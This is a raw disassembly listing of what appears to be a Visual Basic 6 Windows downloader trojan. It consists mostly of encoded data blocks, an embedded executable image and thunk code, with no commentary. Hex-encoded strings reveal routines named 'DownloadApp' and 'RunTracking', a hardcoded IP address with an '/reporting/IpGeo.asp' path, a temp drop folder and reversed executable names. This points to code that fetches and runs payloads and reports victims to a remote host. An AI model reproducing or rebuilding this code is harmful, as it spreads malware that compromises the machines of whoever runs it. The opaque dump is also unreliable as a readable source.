		dd 363435B8h, 91ADC4FAh, 0E48B4DF5h, 0D712343Bh, 0F90EF9C3h
		dd 0F5B1B8C9h, 0ADC48E4Dh, 38537CE7h, 0ADC022EEh, 917713EDh
		dd 0C919D7CCh, 0B7122537h, 0FE4DF389h, 0F9B1B8C9h, 55C48B0Eh
		dd 38B3DF39h, 36E0036Eh, 20DB89F5h, 48C2D1E7h, 0E24567BEh
		dd 877CE52Eh, 3A5C64FDh, 9DF3D767h, 0C7A40C09h,	0F71A865Dh
		dd 78454DCBh, 734B529Ch, 0F25C4FBFh, 9A7833A3h,	36D98347h
		dd 0EC95B5A8h, 0F9E60C77h, 96431A0Bh, 28A52167h, 6D456CD3h
		dd 0B38799FAh, 84B99B15h, 69B16DA3h, 9A4D3DCEh,	0DF47073Bh
		dd 0BBDE190Fh, 0FC13BBE5h, 36FD3D6Fh, 9F36973Ah, 1E7FB8CDh
		dd 0E93EAB8Dh, 0F04CDF93h, 0D5F875C1h, 11DC9E54h, 7506AD0Ah
		dd 3EAAB08h, 96DB275Fh,	0FFC46E6Ch, 0B00B1D44h,	0AE69E99Ah
		dd 97E8CCC1h, 2AD0A69Bh, 0ADF88F51h, 97ACD27Dh,	885D2475h
		dd 997ED2C1h, 782A4E9Eh, 946774EAh, 50EB6D8Bh, 1B0A465Dh
		dd 53A1E06Fh, 71B62EFAh, 5CE1E344h, 1E2353EEh, 5CFF00CBh
		dd 0FDC75987h, 73BC8E7Eh, 86AE3A2Eh, 63EA674Ah,	0CDB75AEBh
		dd 89ED289Ah, 552E93F5h, 0DD2FEBAh, 0BA592E92h,	96CEE914h
		dd 0EA22986Eh, 9DC25744h, 683D6BC5h, 0B6A31F82h, 272D688Ah
		dd 23BA4FB7h, 0BB4AF5D2h, 856B6428h, 253CAAECh,	0EE916DDh
		dd 1D2DD74Bh, 4E726DCDh, 23A572E9h, 0A51B2C1Bh,	4BB2145Dh
		dd 0C85B7643h, 749B4B3Eh, 4DA1B48Ah, 4926E174h,	0F4958E13h
		dd 0B497AE0h, 0F03A49A6h, 5A03493Eh, 26D7FD25h,	0EDA23F69h
		dd 2553EE89h, 0DA5477CDh, 0B492AC59h, 33ECD11Eh, 706D90D1h
		dd 0DF051207h, 0AE6E0B35h, 8A267FA4h, 2DD56D36h, 1D255987h
		dd 0B17182D3h, 6958CFA1h, 53FAEB91h, 0A976A243h, 0A5121BEEh
		dd 1C721D71h, 0C5DFEC46h, 7FB7AFFDh, 6FE6BFF7h,	93DFEAF5h
		dd 8188BBD5h, 545BBBEh,	5ABDF8CFh, 67E83589h, 4B788B61h
		dd 0BA59E922h, 0E19E88D8h, 0FF7F06BBh, 3B7DEFD3h, 0F57D74F7h
		dd 3E6DFEB9h, 81615F7Fh, 47DAFBE1h, 8633EDF7h, 0BEFE7B5Fh
		dd 8A5D057Dh, 98AC9FB4h, 0EC747DAFh, 0F2D13DBEh, 0FE7F7F9Bh
		dd 0AB857DD8h, 35F5EB57h, 0D8708A3Fh, 64188BF6h, 0FBF9FDFCh
		dd 0FCE8BD5Eh, 5F8237E8h, 1DFA3F3Dh, 8F7F0FB7h,	8B95BF46h
		dd 95E3C2C6h, 8BB24DA8h, 0FBF9FF90h, 0BF71DFA2h, 1BE7FA47h
		dd 57FCFB1Ah, 0A6257FCEh, 5D7233F5h, 8B9EE3FFh,	0A3D4D631h
		dd 60030B9Ch, 7E4718B6h, 43541D7Dh, 0E07AE17Bh,	1C3BA4BAh
		dd 8D86E771h, 9AB94BAEh, 7B728F5Dh, 8B7297B8h, 250FB58Fh
		dd 1C3AD56Ch, 24E51E76h, 0FFFB801Dh, 0C2AD3D94h, 0DD9D1BA6h
		dd 0C8574D99h, 906E0B9Bh, 6C1DFE76h, 0B655253h,	8B6C0D92h
		dd 208D7712h, 0E59AFC8Ch
		dd 0F01605EDh, 5FE14B4Fh, 3513E0Ah, 1BD256ECh, 0FB4AD7C1h
		dd 0B62F172h, 1FD7BC09h, 0DB992CF8h, 0B08AE7E1h, 7736868Fh
		dd 1FD8398Bh, 322CBCC6h, 2B7108ACh, 0B816FD39h,	6394339Ah
		dd 8E45DE26h, 0B7DFEC35h, 53E16364h, 482D21C6h,	381C428Fh
		dd 6238B981h, 0F79A300Fh, 53DE4370h, 2DE662D9h,	0A045FE5Ch
		dd 0DFA72873h, 538A5DC1h, 0CC9C6C94h, 96A7AA50h, 0C53F884Fh
		dd 50877A73h, 0B4428717h, 0EBE30D20h, 0D88EADC0h, 0AD457436h
		dd 0DCAF7E07h, 0E09BB91Eh, 2F4FDBA7h, 91FE1267h, 0E7289814h
		dd 46669C64h, 0C47097EFh, 6D4130DCh, 0DC5B9E7Eh, 3B84986Fh
		dd 0B3600A1Ch, 0EF6E1C3Bh, 9DDA6F53h, 0E0BBD344h, 5A247B94h
		dd 8D329595h, 0AAC348E1h, 2B1A456Ch, 0C63494Fh,	88D3D752h
		dd 0FFE231BDh, 0E04BEF29h, 0FFBB2AA2h, 4D901819h, 0D435C045h
		dd 0BC434771h, 2C80BEFBh, 2022F82h, 6C9A1A1Ah, 809B28CAh
		dd 4B806E5Bh, 92E5156Eh, 0B92E26A6h, 0E62596A4h, 4B96E19Ah
		dd 699EE42Eh, 999BEA51h, 1915A996h, 7BDCFFEAh, 0B3466567h
		dd 0F7FFD3F7h, 0DFBF3F79h, 0EF733698h, 9CE79EB3h, 679EF9EFh
		dd 0C73EE6h, 8D663A6Dh,	79F76DB0h, 0D7CEC6F8h, 0BB4D80E5h
		dd 0F9351966h, 0D5D46447h, 0B6C32392h, 0B32870DFh, 0C4FDFA09h
		dd 0C99C7CE9h, 87573EC4h, 0AAE1B659h, 0F620625Ch, 0E7DB2677h
		dd 0CDB1DA6Dh, 2ED5D1E0h, 4C7587B7h, 0DE32ABCFh, 0E24C74E9h
		dd 0CE52DA13h, 3E6B58Dh, 8225B6B1h, 765D7D10h, 0C12B6D39h
		dd 72CE7E6Eh, 49DB5885h, 0ED0CD970h, 9DB4EA7Ch,	0CC769B74h
		dd 0DABA4599h, 0B6B116E5h, 678EAE93h, 5E76939Fh, 2C9D7B81h
		dd 913398EDh, 45CBB574h, 3E76E62h, 6DFB3B53h, 57A799DAh
		dd 1036237Eh, 0F825E1B4h, 93A40A37h, 91480Ch, 3D4978E3h
		dd 0DE1A373Dh, 0F44FAF2Bh, 67323F3Fh, 0EF828E1Ch, 97FFCC53h
		dd 0F45C292Dh, 0DE6E270Eh, 246A5372h, 46278ABh,	0D6808CE9h
		dd 0D903A08Ch, 870D162Ah, 81E7AA11h, 64041943h,	283A0081h
		dd 7F528FFFh, 0F37CA6B5h, 24B153A4h, 0D152AC0Fh, 0B27609D9h
		dd 11708671h, 0D50B9CEAh, 53D5D37Fh, 0F3D40B80h, 0BFABC78Eh
		dd 1DF73340h, 0A6575AA9h, 9B42A63Ah, 10FF2E52h,	0B8D41A6Ah
		dd 0EFDD4E3Fh, 0D7E9B6F0h, 9795491Eh, 0FC08A586h, 523A00CBh
		dd 9AE57F30h, 0DB605FB2h, 0B0DE72ABh, 0D4FDE675h, 290789F5h
		dd 4BD40A5h, 83CB5BE8h,	0AE6B0852h, 0D9D2E9Ch, 386A5652h
		dd 53CBB0A2h, 64019991h, 68C269EEh, 5B4229C6h, 2FE4ABE5h
		dd 0B18DD7F1h, 4A934FEBh, 0E95B6A96h, 4B947EF0h, 0FA6413F1h
		dd 5464B43Eh, 0FE1D2811h, 182DA916h, 56CE7B55h,	2EE7293Fh
		dd 66B43897h, 0FE1B6B50h, 0C287BAC6h, 137C031Dh, 165E68A6h
		dd 3507195Ch, 1E6EE182h, 76C49AFCh, 5F4CFF04h, 19DF4C5Ah
		dd 5E21A264h, 26426016h, 9D2BFFDCh, 0A5FAFBFDh,	3B7985ECh
		dd 0BB50D3F4h, 0A116E99Ch, 0A6CD54FAh, 0ACA578CCh, 43685F52h
		dd 4D15DE9h, 66CFF546h,	0BDB8D03Dh, 0E2CF40Eh, 18F14E34h
		dd 0A4AA30B9h, 3E666B06h, 0A3075877h, 68E82450h, 0A84C4AE5h
		dd 0F37AA357h, 2CED72DCh, 0FA4F3954h, 7FDBBE9Ah, 0E896D64h
		dd 282B7467h, 84EEC238h, 6EAFE76Eh, 6BC598FFh, 0C3E786D2h
		dd 9541B3E1h, 46DABA4Bh, 0C5565533h, 26B1A96Ah,	0DAA8340Ch
		dd 0BAEAA596h, 74F0D582h, 8367DDBCh, 47569DE9h,	536F07B1h
		dd 3278CA7Fh, 0ED29A955h, 0AAB83578h, 0E7A78494h, 58C636D5h
		dd 63B22AFAh, 181CCD14h, 6109A646h, 2AB9D573h, 65ABF86Dh
		dd 0B4645E14h, 0A636B319h, 62C7B542h, 0AF59999Bh, 0F5CC6568h
		dd 0D9E09694h, 324B557Bh, 0D7DE8C9Dh, 96A53DE9h, 3431EA87h
		dd 0E21869F9h, 0CC09976Bh, 558AD4CAh, 3E1BDC4Eh, 87FDA895h
		dd 959408C3h, 8872009Ah, 0D817DF52h, 2AB696ACh,	3BFBCE9Ah
		dd 4933BD19h, 1124758h,	8EAE9DD6h, 6CA8435Ch, 4FF98E75h
		dd 0B1BE5B3Dh, 541BAFC5h, 2D0E197Ch, 95F6818Ch,	0A5759811h
		dd 3B19C2D0h, 5EDB4A98h, 9FF8A833h, 0A8D3EA67h,	9B44F032h
		dd 0A7CF0DBBh, 0A832F677h, 9E812D73h, 0F6B9D48Bh, 44B8ED52h
		dd 12E42495h, 999CACB6h, 31255913h, 610764C6h, 0D182D0CFh
		dd 4D0A6AC1h, 0B2A0CACCh, 4444033Fh, 0EA31B94Ah, 8C54B31Ch
		dd 11E67FCDh, 0EDBB3928h, 38F5A0C7h, 0CF23ED5Ch, 0B51C4B06h
		dd 8AA500D0h, 0B59EF6D4h, 0AFA1D637h, 0A0162774h, 0AA72CBD5h
		dd 4FBF7FF9h, 734FA1CAh, 77D55CBDh, 72F554F5h, 0CEC08AACh
		dd 6769ADA4h, 60CA5A96h, 86D68B92h, 0ED32E9E6h,	0A1D42B10h
		dd 6F6A71B7h, 0AB4F9F5Ah, 1D5CB069h, 66985AA3h,	36AAB903h
		dd 3BABA866h, 5FEBFC01h, 57168BEBh, 8643EAD8h, 0FA93C6DAh
		dd 0CDA19F25h, 5EDC5C86h, 0F2D48AF3h, 86E6A45h,	0ECD255C7h
		dd 9FC5AC74h, 0FFE79929h, 4B5B47BAh, 56517A55h,	89AAAC61h
		dd 0AB0CF45h, 59AE6CDDh, 2FD351D1h, 82C58F38h, 0ADEBB630h
		dd 0DDA64860h, 3E33FF1Ah, 0D43FD3ACh, 78B574Eh,	1BB1B6CAh
		dd 0ADA38F5Bh, 559B3C9h, 0D268313Ch, 0BD7502CAh, 0B5A2DAACh
		dd 258EA992h, 0B61564D3h, 38FBDA6Dh, 6D9ABA67h,	0B0D96DF1h
		dd 296AD982h, 2F95F70Dh, 0F000603h, 2F2D57CCh, 8ECEB2DFh
		dd 0BF9D2719h, 5EA21CBCh, 0A9F98FCDh, 0BD587B1h, 270BB638h
		dd 138480C1h, 51F607C1h, 46B35D71h, 0AE060F38h,	547DD72Ah
		dd 0A3E6D41Dh, 3D7CD4CCh, 0B347A1C8h, 0B098C684h, 351751CAh
		dd 0E364EC0Bh, 0E6BECCA3h, 55D37549h, 0E498E509h, 6FA55468h
		dd 0E8ED8D6h, 93FF3059h, 0FC6DDC56h, 0AA613C36h, 937CB67Ah
		dd 6DE3691Eh, 0AB4AB26Dh, 0F8D41B1Dh, 1A34F350h, 806ACF6Fh
		dd 7CEC3D03h, 37A5ADA6h, 0D338E31Ch, 95AA0CB8h,	59871999h
		dd 0A5FACC4Fh, 0A71742D9h, 5FD6C25Eh, 0C8B5A52Bh, 9B1D48A2h
		dd 755CFB36h, 15EF6C75h, 912D77C3h, 0EDD214AAh,	66558DD8h
		dd 0CB2BB0CEh, 0E49E0354h, 2D92E135h, 0F3ABE542h, 3DF4B0CFh
		dd 0D7334DCh, 284CB26Dh, 39CEA056h, 692DDA1Dh, 0C5A39BD0h
		dd 1E47E436h, 437D9176h, 0DA6093E6h, 0CE7AD4FDh, 91795933h
		dd 6C69471Dh, 4252AB99h, 93CD4AD1h, 3999AA67h, 5E705FECh
		dd 0CDB2A91h, 0C6D38793h, 90D16054h, 0FF447BA7h, 0E9ADA8BFh
		dd 2BC59F96h, 0A7921669h, 639996AEh, 0EAEF5228h, 0D5F2CEC4h
		dd 0F31506CFh, 0C7AC2D0Ah, 5A1A5FECh, 9E1D9E5Dh, 0BD951B39h
		dd 0B55F303Fh, 0D31CC9C7h, 137B580Eh, 8A3A7C8Bh, 0AC53E79Ah
		dd 0DD5337CEh, 23AA33F3h, 11C4F36Ch, 4374AED8h,	4E5F808Dh
		dd 0CA91FBAAh, 7498C66Ch, 0D431EC4h, 160DECAAh,	0CFCB6A6Eh
		dd 2C0C5432h, 0BD982130h, 0CD2D9B66h, 9D2DDBACh, 1C8AF8Eh
		dd 0FDE5CC01h, 9E69F84Dh, 7499E43h, 6AEA2A0Ch, 0EBC2A951h
		dd 0E6EBD423h, 2ACA5395h, 0F534CCA3h, 63A4E9A1h, 0DA6254ACh
		dd 0ABD8D58Bh, 0A6F1DFA6h, 0B92DD236h, 0FBA68CA1h, 9D04F45h
		dd 71B591FBh, 4CE539C8h
dword_418C58	dd 905A4Dh, 3, 4, 0FFFFh, 0B8h,	0 ; DATA XREF: sub_402EBD+28o
		dd 40h,	8 dup(0)
		dd 0B8h, 0EBA1F0Eh, 0CD09B400h,	4C01B821h, 685421CDh, 70207369h
		dd 72676F72h, 63206D61h, 6F6E6E61h, 65622074h, 6E757220h
		dd 206E6920h, 20534F44h, 65646F6Dh, 0A0D0D2Eh, 24h, 0
		dd 0DBF98A8Fh, 3 dup(8897EBCBh), 8899F748h, 8897EBCAh
		dd 889EF4A2h, 8897EBCAh, 889AF422h, 8897EBCAh, 68636952h
		dd 8897EBCBh, 2	dup(0)
		dd 4550h, 3014Ch, 46F720A7h, 2 dup(0)
		dd 10F00E0h, 6010Bh, 5000h, 2000h, 0
		dd 13A0h, 1000h, 6000h,	400000h, 2 dup(1000h), 4, 1, 4
		dd 0
		dd 8000h, 1000h, 0EBD6h, 2, 100000h, 1000h, 100000h, 1000h
		dd 0
		dd 10h,	2 dup(0)
		dd 4D34h, 28h, 7000h, 8B0h, 10h	dup(0)
		dd 228h, 20h, 1000h, 124h, 6 dup(0)
a_text_0	db '.text',0
		align 10h
aB_0		db 'œB',0
		align 4
		dd 1000h, 5000h, 1000h,	3 dup(0)
		dd 60000020h, 7461642Eh, 61h, 0A0Ch, 6000h, 1000h, 6000h
		dd 3 dup(0)
		dd 0C0000040h, 7273722Eh, 63h, 8B0h, 7000h, 1000h, 7000h
		dd 3 dup(0)
		dd 40000040h, 45D70B04h, 10h, 2	dup(0)
aMsvbvm60_dll_1	db 'MSVBVM60.DLL',0
		align 10h
		dd 36Eh	dup(0)
		dd 73668806h, 7365FE79h, 73676B2Eh, 7366EA4Ch, 7363C164h
		dd 73650DDBh, 73655F5Fh, 736772A2h, 7365F73Ah, 7365FDC1h
		dd 73655F3Ah, 73649CECh, 7365F6EEh, 7364B6BFh, 73649A69h
		dd 73653E62h, 7365F786h, 7365F886h, 7364B8FCh, 7366896Eh
		dd 736564F3h, 7366576Ah, 73643CF7h, 73639A94h, 73658A03h
		dd 73679836h, 73654C30h, 73650EBAh, 73649C21h, 7365FE76h
		dd 73678B65h, 73639AA7h, 7363CD88h, 73668A13h, 736399A5h
		dd 73653CA4h, 7366725Bh, 7365FB09h, 7365F83Ah, 736493C0h
		dd 73677553h, 73650DFAh, 73655E41h, 736542E6h, 73644F71h
		dd 736688ABh, 7363E3EEh, 7364388Ah, 73673C1Dh, 73643DEFh
		dd 7365F7BAh, 7365F8BAh, 7365610Eh, 7364CFA4h, 736560C5h
		dd 7365F7EEh, 7365F229h, 7364E42Fh, 7357357Ch, 73649B3Fh
		dd 73678CF8h, 73676E36h, 73676BF8h, 73678DCCh, 73649AC1h
		dd 73668740h, 736560F4h, 7365E36Dh, 73668AC4h, 7365D191h
		dd 736560B0h, 73649A27h, 2 dup(0)
		dd 80007h, 403C55h, 403CAEh, 403C5Dh, 80007h, 403F8Ah
		dd 403FD1h, 403F91h, 80007h, 404220h, 404256h, 404227h
		dd 140027h, 4044EAh, 404512h, 4044F1h, 0
		dd offset loc_40116E+2
		dd 8, 4042EAh, 4042F1h,	404336h, 404345h, 404367h, 404459h
		dd 404471h, 4044EAh, 0
		dd 80003h, 4045D9h, 4045DEh, 0
		dd 8000Fh, 40475Ch, 404786h, 404763h, 80001h, 4047FAh
		dd 80007h, 40493Ch, 404957h, 404943h, 80007h, 404BBEh
		dd 404BD9h, 404BC5h, 80007h, 404CE6h, 404CF7h, 404CEDh

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_419E48	proc near		; CODE XREF: .data:0041CF16p
		jmp	dword ptr ds:loc_401054
sub_419E48	endp

; ---------------------------------------------------------------------------
		dw 25FFh
		dd offset loc_40108C
		dd 10A025FFh, 25FF0040h, 401040h, 103025FFh, 25FF0040h
		dd 4010C8h, 102025FFh, 25FF0040h, 4010E0h, 104425FFh, 25FF0040h
		dd 4010DCh, 10CC25FFh, 25FF0040h, 401098h, 107425FFh, 25FF0040h
		dd 401094h, 102425FFh, 25FF0040h, 401004h, 110425FFh, 25FF0040h
		dd 401000h, 111425FFh, 25FF0040h, 4010B4h, 104C25FFh, 25FF0040h
		dd 401084h, 111025FFh, 25FF0040h, 40110Ch, 110025FFh, 25FF0040h
		dd 401070h, 10F025FFh, 25FF0040h, 4010FCh, 109C25FFh, 25FF0040h
		dd 4010ECh, 10B825FFh, 25FF0040h, 401050h, 101825FFh, 25FF0040h
		dd 40106Ch, 106025FFh, 25FF0040h, 4010B0h, 10D425FFh, 25FF0040h
		dd 4010E4h, 10AC25FFh, 25FF0040h, 40103Ch, 10C425FFh, 25FF0040h
		dd 401034h, 105825FFh, 25FF0040h, 401068h, 10BC25FFh, 25FF0040h
		dd 4010C0h, 101025FFh, 25FF0040h, 4010D8h, 10A825FFh, 25FF0040h
		dd 401080h, 10A425FFh, 25FF0040h, 4010F8h, 104825FFh, 25FF0040h
		dd 401064h, 100C25FFh, 25FF0040h, 4010F4h, 109025FFh, 25FF0040h
		dd 401008h, 101C25FFh, 25FF0040h, 40111Ch, 103825FFh, 25FF0040h
		dd 401078h, 101425FFh, 25FF0040h, 401118h, 102C25FFh, 25FF0040h
		dd 401028h, 110825FFh, 25FF0040h, 4010D0h, 108825FFh, 25FF0040h
		dd 40105Ch, 107C25FFh, 25FF0040h, 4010E8h, 40155468h, 0FFF0E800h
		dd 0FFFFh, 0
		dd 30h,	40h, 0
		dd 0EFE7037Eh, 4A2A232Dh, 7F161DA1h, 0BD1EBE40h, 0
		dd 10000h, 6E490000h, 6C617473h, 30574D76h, 30316131h
		dd 73003436h, 3642565Ch, 0
		dd 31CCFFh, 0CA537001h,	655FF5E8h, 418D944Dh, 0F566529Dh
		dd 4A841C31h, 621B9297h, 8C4E9042h, 0B030C68Eh,	0AD4F3ABEh
		dd 0CF669933h, 0CB711h,	0D36000AAh, 93h, 8 dup(0)
		dd 0BA00h, 4000h, 50000h, 6D726F46h, 10D0031h, 6F460005h
		dd 316D72h, 42000119h, 0FFFF2300h, 524FFFFh, 726F4600h
		dd 2E00316Dh, 3C3500h, 1590000h, 12480000h, 0C7B0000h
		dd 3460000h, 7301FFh, 5010000h,	656E4900h, 0FF003174h
		dd 6E490014h, 74437465h, 624F736Ch, 7463656Ah, 6E492E73h
		dd 2D007465h, 9424Ch, 3Ah, 12344321h, 8, 2 dup(3EDh), 48E59291h
		dd 60000h, 10000h, 0
		dd 50h,	4 dup(0)
		dd 3C0000h, 68390000h, 3A000001h, 8E8h,	402FFh,	50h, 0E8CA5370h
		dd 4D655FF5h, 9D418D94h, 31F56652h, 5 dup(0)
		dd 90h,	5 dup(0)
		dd 113h, 0
		dd offset loc_4013EC+4
		dd 4Ch,	21354256h, 2A1FF0h, 3 dup(0)
		dd 7Eh,	2 dup(0)
		dd 0A0000h, 409h, 2 dup(0)
		dd offset loc_40173F+1
		dd 30F000h, 0FFFFFF00h,	8, 1, 10001h, 0E9h, 401504h, 4015F0h
		dd 4013ACh, 78h, 83h, 8Eh, 8Fh,	4 dup(0)
aVmw03a1066_0	db 'vMW03a1066',0
aT200700923_1	db 'T200700923',0
		dw 7600h
aMw01a1064_0	db 'MW01a1064',0
		align 4
		dd 150h, 38h, 2	dup(0)
		dd 0D0h, 0D8h, 0
		dd 0E0h, 48h, 0
		dd 128h, 133h, 148h, 0
		dd 48E59293h, 11CF9880h, 0AA005497h, 809C000h, 48E59292h
		dd 11CF9880h, 0AA005497h, 809C000h, 48E59291h, 11CF9880h
		dd 0AA005497h, 809C000h, 5F8B7FCCh, 48DF3393h, 0F993C39Eh
		dd 91EDDC69h, 68FDD55Ah, 4A5E1ADDh, 5AD198BBh, 5A414401h
		dd 1FFh, 0E6F8h, 0F9844600h, 7CFh, 1335BCE6h, 41562787h
		dd 6EB237AAh, 7BEE71C5h, 2786A618h, 40B85EA6h, 4CD49F9Ah
		dd 0D681FEE1h, 0
aW_0		db '`',0Bh,'W ',0
		align 4
		dd 10000h, 2 dup(0)
		dd 2 dup(0D100h), 20h, 0DCh, 380037h, 310045h, 440042h
		dd 310044h, 39002Dh, 340039h, 2D0031h, 310031h,	660063h
		dd 39002Dh, 350037h, 2D0036h, 300030h, 410041h,	300030h
		dd 300043h, 390030h, 380030h, 4E49534Dh, 4F2E5445h, 49005843h
		dd 4374656Eh, 4F736C74h, 63656A62h, 492E7374h, 74656Eh
		dd 74656E49h, 14D00h, 1F4h, 401BCCh, 0
		dd offset loc_402EDE+2
		dd offset loc_404D30
		dd 0A04h, 406008h, 4011F6h, 406000h, 5C002Ah, 430041h
		dd 5C003Ah, 720050h, 67006Fh, 610072h, 20006Dh,	690046h
		dd 65006Ch, 5C0073h, 69004Dh, 720063h, 73006Fh,	66006Fh
		dd 200074h, 690056h, 750073h, 6C0061h, 530020h,	750074h
		dd 690064h, 5C006Fh, 420056h, 380039h, 66005Ch,	310030h
		dd 740057h, 310052h, 360030h, 2E0034h, 620076h,	70h, 64h dup(0)
		dd offset loc_401502+2
		dd 0
		dd 1, 401BCCh, 0
		dd offset loc_402DAF+1
		dd 0FFFFFFFFh, 0
		dd offset loc_401C20
		dd offset loc_406006+2
		align 8
		dd 1E0518h, 3 dup(0)
		dd offset loc_4019F4
		dd 1, 401C9Ch, 0
		dd offset loc_4019F4
		dd 1, 4019FCh, 0
		dd offset loc_4019F4+4
		dd 2, 4019FCh, 1B7000Ah, 6C0068h, 401A4Ch, 4062E0h, 0
		dd 1ECC10h, 401CACh, 401CBCh, 1F0040h, 34h, 401CCCh, 0FFFFFFFFh
		dd 2 dup(0)
		dd offset loc_401A6F+5
		dd 4727BE8h, 401CDCh, 0FFFFFFFFh, 0A0040h, 38h,	401D58h
		dd 30001h, 2 dup(0)
		dd offset loc_401B08	; jumptable 00401ADD case 6
		dd 4727BF8h, 401D68h, 30001h, 401B5Dh, 401B6Ah,	401B77h
		dd 401B84h, 401B91h, 401B9Eh, 401BABh, 401BB8h,	401BC5h
		dd 401B50h, 0
		dd offset loc_4019FC
		dd offset loc_40197C
		dd offset loc_401387+1
		dd offset loc_40138A+4
		dd offset loc_401394
		dd 6 dup(0)
		dd offset loc_401B48	; jumptable 00401ADD case 12
		dd 19h dup(0)
		dd offset loc_401A24
		dd offset loc_40197C
		dd offset loc_401387+1
		dd offset loc_40138A+4
		dd offset loc_401394
		dd 0Ah dup(0)
		dd 4246C81h, 33h, 139BE9h, 246C8100h, 0FFFF04h,	21CEE900h
		dd 6C810000h, 0FFFF0424h, 0B1E90000h, 81000024h, 0FF04246Ch
		dd 0E90000FFh, 2724h, 4246C81h,	0FFFFh,	29C7E9h, 246C8100h
		dd 0FFFF04h, 2A8AE900h,	6C810000h, 0FFFF0424h, 1DE90000h
		dd 8100002Ch, 0FF04246Ch, 0E90000FFh, 2C80h, 4246C81h
		dd 0FFFFh, 2DD3E9h, 246C8100h, 0FFFF04h, 3056E900h, 2 dup(0)
		dd offset loc_40602B+1
		dd offset loc_402DED+3
		dd 0FFFFFFFFh, 0
		dd offset loc_40601B+1
		dd 0C7777C0Ch, 41DCA50Fh, 87AAF1A2h, 4EB6FD23h,	1000Ah
		dd 10001h, 401C20h, 3 dup(0)
		dd offset loc_401C7B+5
		dd 2 dup(409h),	0
		dd 2, 40197Ch, 0FFFFFFFFh, 401E5Ch, 3 dup(0)
		dd offset loc_401C76+2
		dd 0Ah,	401C50h, 0FFFFh, 18083h, 0
		dd 0C14F66B7h, 401DD8h,	401DE4h, 401DF0h, 401DFCh, 401E08h
		dd 401E14h, 401E28h, 401E38h, 401E48h, 6D726F46h, 31h
		dd 30574D76h, 30316131h, 3436h,	974A841Ch, 42621B92h, 8E8C4E90h
		dd 0BEB030C6h, 2970B41Bh, 4DA584B1h, 0F9F70AB4h, 4C775291h
		dd 0E8CA5370h, 4D655FF5h, 9D418D94h, 31F56652h,	145B334Ah
		dd 4A7F41A1h, 0AB920D9Eh, 4C99A7C5h, 33AD4F3Ah,	11CF6699h
		dd 0AA000CB7h, 93D36000h, 6D726F46h, 0
		dd 0FCFB3D2Eh, 1068A0FAh, 838A7h, 0B571332Bh, 505C3A43h
		dd 72676F72h, 46206D61h, 73656C69h, 63694D5Ch, 6F736F72h
		dd 56207466h, 61757369h, 7453206Ch, 6F696475h, 3942565Ch
		dd 42565C38h, 4C4F2E36h, 42h, 4256h, 401CE4h, 0
		dd 6, 9, 401CF4h, 401D2Ch, 4062D0h, 2 dup(0)
		dd 1B6AA8h, 1335BCE6h, 41562787h, 6EB237AAh, 7BEE71C5h
		dd 74656E49h, 31h, 4AD3113Eh, 4E8EE8BFh, 0B73074AFh, 0B030B717h
		dd 575C3A43h, 4F444E49h, 735C5357h, 65747379h, 5C32336Dh
		dd 4E49534Dh, 6F2E5445h, 6163h,	74656E49h, 736C7443h, 656A624Fh
		dd 737463h, 401D70h, 0
		dd 1, 0
		dd offset loc_401D7C+4
		dd offset loc_401D9C+4
		dd offset loc_4062D4
		dd 2 dup(0)
		dd 1B6AA8h, 6E776F44h, 64616F6Ch, 707041h, 546E7552h, 6B636172h
		dd 676E69h, 656C6946h, 73697845h, 74h, 45726944h, 74736978h
		dd 73h,	72747845h, 50746361h, 687461h, 63657053h, 63696669h
		dd 656C6946h, 73697845h, 7374h,	61657243h, 4D546574h, 6C6F4650h
		dd 726564h, 61657243h, 4D546574h, 6C694650h, 65h, 656C6544h
		dd 6F446574h, 6F6C6E77h, 70416461h, 70h, 44000Ch, 2 dup(0)
		dd 8, 300031h, 360036h,	0
		dd 0Ch,	4D0076h, 300057h, 610033h, 0
		dd 0Ah,	420052h, 420076h, 6Dh, 12h, 6C0073h, 650050h, 2E006Eh
		dd 6F006Ch, 67h, 18h, 3A0043h, 54005Ch,	6D0065h, 5C0070h
		dd 4F0078h, 5C0065h, 0
		dd 0Eh,	48002Fh, 330033h, 670034h, 2Fh,	8, 650054h, 70006Dh
		dd 0
		dd 6, 4F0078h, 65h, 1Ch, 340036h, 32002Eh, 350032h, 31002Eh
		dd 390035h, 31002Eh, 350037h, 0
		dd 34h,	3A0043h, 57005Ch, 4E0049h, 54004Eh, 53005Ch, 730079h
		dd 650074h, 33006Dh, 5C0032h, 610063h, 63006Ch,	65002Eh
		dd 650078h, 0
		dd 0Ah,	690057h, 32006Eh, 4Bh, 0Ah, 490057h, 4E004Eh, 54h
		dd 14h,	500058h, 57002Dh, 4E0049h, 300032h, 330030h, 0
		dd 0Eh,	490057h, 44004Eh, 57004Fh, 53h,	0Eh, 740068h, 700074h
		dd 2F003Ah, 2Fh, 2Ah, 72002Fh, 700065h,	72006Fh, 690074h
		dd 67006Eh, 49002Fh, 470070h, 6F0065h, 61002Eh,	700073h
		dd 78h,	2, 7Ch,	4, 530055h, 0
		dd 12h,	650072h, 690067h, 2E0074h, 780065h, 65h, 4, 410043h
		dd 0
		dd 12h,	730065h, 6F0075h, 2E006Dh, 780065h, 65h, 4, 4B0055h
		dd 0
		dd 16h,	650072h, 740068h, 61006Eh, 2E0070h, 780065h, 65h
		dd 8, 550045h, 4F0052h,	0
		dd 14h,	740061h, 650065h, 630068h, 65002Eh, 650078h, 0
		dd 0Ah,	54004Fh, 450048h, 52h, 14h, 6E0065h, 6C0069h, 660065h
		dd 65002Eh, 650078h, 0
		dd 6, 3A0043h, 5Ch, 2, 5Ch, 8, 65002Eh,	650078h, 0
		dd 16h,	4, 1, 0
		dd 1730000h, 0FFFFFFFFh, 1, 740h, 52002Fh, 3F003Fh, 760078h
		dd 6D003Fh, 3F0078h, 3D003Fh, 5B007Ah, 1E003Fh,	66006Fh
		dd 4B0031h, 3F0066h, 3F003Fh, 3F000Fh, 6B003Fh,	3F003Fh
		dd 27005Eh, 3F0073h, 2C003Fh, 3	dup(3F003Fh), 3F005Ah
		dd 3F003Fh, 4F0027h, 270063h, 3F003Fh, 1D003Fh,	3F006Ch
		dd 62003Fh, 3F003Fh, 660036h, 31003Fh, 4D003Fh,	3F004Dh
		dd 17003Fh, 3 dup(3F003Fh), 34003Fh, 7C0071h, 3F003Fh
		dd 3F007Fh, 6D003Fh, 35001Ah, 6F003Fh, 3F003Fh,	3F007Dh
		dd 4B003Fh, 3F007Ah, 6C002Fh, 37003Fh, 3F006Eh,	3F006Bh
		dd 3F003Fh, 3B007Eh, 3F003Fh, 4B003Fh, 6F003Fh,	3 dup(3F003Fh)
		dd 37002Bh, 5E006Fh, 33003Fh, 3F003Fh, 6E003Fh,	38005Dh
